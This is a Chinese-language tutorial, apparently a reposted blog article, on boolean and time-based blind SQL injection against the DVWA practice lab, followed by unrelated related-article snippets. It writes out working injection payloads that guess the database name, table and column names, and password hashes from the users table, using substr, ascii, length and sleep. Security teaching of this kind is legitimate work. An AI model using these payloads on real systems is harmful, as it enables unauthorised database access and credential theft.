sql盲注

文章目录

  • 布尔盲注
  • 时间盲注

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。
特点:思路简单,步骤繁琐且麻烦。
核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。

在这里插入图片描述
在这里插入图片描述
1.我们测试一下是否存在sql注入的漏洞。

1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。
1.猜测数据库库名

1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4
在这里插入图片描述
2.猜测库名的第一个字母

1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

在这里插入图片描述
由于步骤过于麻烦,我们用bp直接批量尝试。
在这里插入图片描述
可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa
在这里插入图片描述

3.猜表名
这里测出来有两张表

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。
猜长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名
这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值
二分法,猜测字段

1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:
时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。
攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:
SLEEP()函数
BENCHMARK()函数
WAITFOR DELAY ‘time’

由于上面布尔盲注写了基本思路,这里大概讲一下。
主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。
在这里插入图片描述
1.确定注入点

1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名
先猜库的长度

1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名
先猜几个表

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列
先猜有几列

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

再猜长度

1and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段
具体见布尔盲注,基本上一模一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/868595.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day4单向链表

主程序 #include "fun.h" int main(int argc, const char *argv[]) { node_p Lcreate_head();//创建链表 printf("########################链表的头插尾插\n"); insert_head(L,45);//头插 insert_head(L,45); insert_tail(L,45);/…

Go-Zero 框架使用 MongoDB,数据采集入库如此简单

目录 引言 环境准备 如何使用 main入口代码实现 实现采集网络接口 总结 其他资源 引言 Go-Zero 是一个高性能、可扩展的微服务框架&#xff0c;专为 Go 语言设计。它提供了丰富的功能&#xff0c;如 RPC、RESTful API 支持、服务发现、熔断器、限流器等&#xff0c;使开…

PyQt5显示QImage并将QImage转换为PIL图像保存到缓存

PyQt5显示QImage并将QImage转换为PIL图像保存到缓存 1、效果图 2、流程 1、获取摄像头资源,打开摄像头 2、截取图像 3、opencv读的通道是BGR,要转成RGB 4、往显示视频的Label里显示QImage 5、将QImage转换为PIL图像,并保存到缓存 6、获取图像中人脸信息3、代码 # -*- codin…

2024年【安全员-C证】考试及安全员-C证免费试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 安全员-C证考试根据新安全员-C证考试大纲要求&#xff0c;安全生产模拟考试一点通将安全员-C证模拟考试试题进行汇编&#xff0c;组成一套安全员-C证全真模拟考试试题&#xff0c;学员可通过安全员-C证免费试题全真模…

论文解析——Full Stack Optimization of Transformer Inference: a Survey

作者及发刊详情 摘要 正文 主要工作贡献 这篇文章的贡献主要有两部分&#xff1a; 分析Transformer的特征&#xff0c;调查高效transformer推理的方法通过应用方法学展现一个DNN加速器生成器Gemmini的case研究 1&#xff09;分析和解析Transformer架构的运行时特性和瓶颈…

堆叠的作用

一、为什么要堆叠 传统的园区网络采用设备和链路冗余来保证高可靠性&#xff0c;但其链路利用率低、网络维护成本高&#xff0c;堆叠技术将多台交换机虚拟成一台交换机&#xff0c;达到简化网络部署和降低网络维护工作量的目的。 二、堆叠优势 1、提高可靠性 堆叠系统多台成…

Linux--线程(概念篇)

目录 1.背景知识 再谈地址空间&#xff1a; 关于页表&#xff08;32bit机器上&#xff09; 2.线程的概念和Linux中线程的实现 概念部分&#xff1a; 代码部分&#xff1a; 问题&#xff1a; 3.关于线程的有点与缺点 4.进程VS线程 1.背景知识 再谈地址空间&#xff1a…

Linux中的粘滞位及mysql日期函数

只要用户具有目录的写权限, 用户就可以删除目录中的文件, 而不论这个用户是否有这个文件的写 权限. 为了解决这个不科学的问题, Linux引入了粘滞位的概念. 粘滞位 当一个目录被设置为"粘滞位"(用chmod t),则该目录下的文件只能由 一、超级管理员删除 二、该目录…

FreeRTOS 列表和列表项

这里推荐看完韦东山的C语言本质和韦东山的rtos快速入门视频 在 FreeRTOS 的源码中大量地使用了列表和列表项&#xff0c;因此想要深入学习 FreeRTOS&#xff0c;列表和 列表项是必备的基础知识。这里所说的列表和列表项&#xff0c;是 FreeRTOS 源码中 List 和 List Item 的 直…

高创新 | CEEMDAN-VMD-GRU-Attention双重分解+门控循环单元+注意力机制多元时间序列预测

目录 效果一览基本介绍模型设计程序设计参考资料 效果一览 基本介绍 高创新 | CEEMDAN-VMD-GRU-Attention双重分解门控循环单元注意力机制多元时间序列预测 本文提出一种基于CEEMDAN 的二次分解方法&#xff0c;通过样本熵重构CEEMDAN 分解后的序列&#xff0c;复杂序列通过VMD…

Redhat 安装 docker 网络连接超时问题

目录 添加阿里云的Docker CE仓库 更新YUM缓存 安装 Docker Engine 启动并设置Docker自启动 验证 Docker 安装 [userlocalhost ~]$ sudo yum-config-manager --add-repohttps://download.docker.com/linux/centos/docker-ce.repo 正在更新 Subscription Management 软件仓库…

Linux安装Jmeter及简单使用教程

Linux安装Jmeter 首先需要java环境 java --version官网 下载二进制包 #创建文件夹 sudo mkdir /usr/local/jmeter #解压 sudo tar zxvf apache-jmeter-5.6.3.tgz -C /usr/local/jmeter编辑配置文件 sudo vim /etc/profile&#xff0c;添加以下内容 export JMETER_HOME/usr/l…

Linux环境部署Python Web服务

“姑娘&#xff0c;再见面就要靠运气了&#xff0c;可别装作不认识&#xff0c;那句“好久不见”可干万别打颤…” 将使用 Python 编写的后端 API 部署到 Linux 环境中&#xff0c;可以按照以下详细步骤操作。本文将涵盖环境准备、API 编写、使用 Gunicorn 作为 WSGI 服务器、配…

1-3分钟爆款视频素材在哪找啊?这9个热门爆款素材网站分享给你

在如今快节奏的时代&#xff0c;短视频已成为吸引观众注意力的黄金手段。然而&#xff0c;要制作出1-3分钟的爆款视频&#xff0c;除了创意和剪辑技巧外&#xff0c;选择合适的素材至关重要。那么&#xff0c;哪里可以找到那些能让你的视频脱颖而出的爆款素材呢&#xff1f;不用…

鸿蒙开发:Universal Keystore Kit(密钥管理服务)【加解密(ArkTS)】

加解密(ArkTS) 以AES 128密钥为例&#xff0c;完成加解密。具体的场景介绍及支持的算法规格。 开发步骤 生成密钥 指定密钥别名。初始化密钥属性集。调用[generateKeyItem]生成密钥&#xff0c;具体请参考[密钥生成]。开发前请熟悉鸿蒙开发指导文档&#xff1a;gitee.com/l…

yolov8-seg分割模型TensorRt部署,去掉torch

已完成的yolov8-seg分割模型TensorRt部署 准备下载yolov8-seg模型转化为onnx和trt推理写好的推理接口 准备 https://github.com/songjiahao-wq/yolov8_seg_trtinference.git下载代码 安装TensorRt8.6版本&#xff0c;以及pip install -r requirements.txt 下载yolov8-seg模型…

【web APIs】快速上手Day05(Bom操作)

目录 Web APIs - 第5天笔记js组成window对象BOM定时器-延迟函数案例-5秒钟之后消失的广告 JS执行机制location对象案例-5秒钟之后跳转的页面 navigator对象histroy对象 本地存储&#xff08;今日重点&#xff09;localStorage&#xff08;重点&#xff09;sessionStorage&#…

三、mysql-万字长文读懂mysql

mysql 三、 Mysql3.1 基础3.1.1 mysql执行流程-组成架构3.2 索引3.2.1 索引底层的数据结构与算法分类在创建表时,InnoDB 存储引擎会根据不同的场景选择不同的列作为索引B+树结构3.2.2 为什么 MySQL InnoDB 选择 B+tree 作为索引的数据结构3.2.2.1. 从磁盘角度出发3.2.2.2. 数据…

深度解析移动硬盘“函数不正确”错误及高效恢复策略

在数据密集型的社会中&#xff0c;移动硬盘作为移动存储的重要载体&#xff0c;承载着无数用户的个人信息、工作资料及珍贵回忆。然而&#xff0c;当遭遇“函数不正确”的错误时&#xff0c;这些宝贵的数据仿佛被一层无形的屏障所阻隔&#xff0c;让人束手无策。本文将深入探讨…

如何选择高性价比的土壤检测仪器?

在现代农业与环保领域&#xff0c;土壤检测仪器的选择显得尤为关键。它不仅关系到土壤养分管理、作物健康生长&#xff0c;还涉及到环境保护和可持续发展。那么&#xff0c;面对市场上琳琅满目的土壤检测仪器&#xff0c;我们该如何选择一款实用的设备呢&#xff1f; 首先&…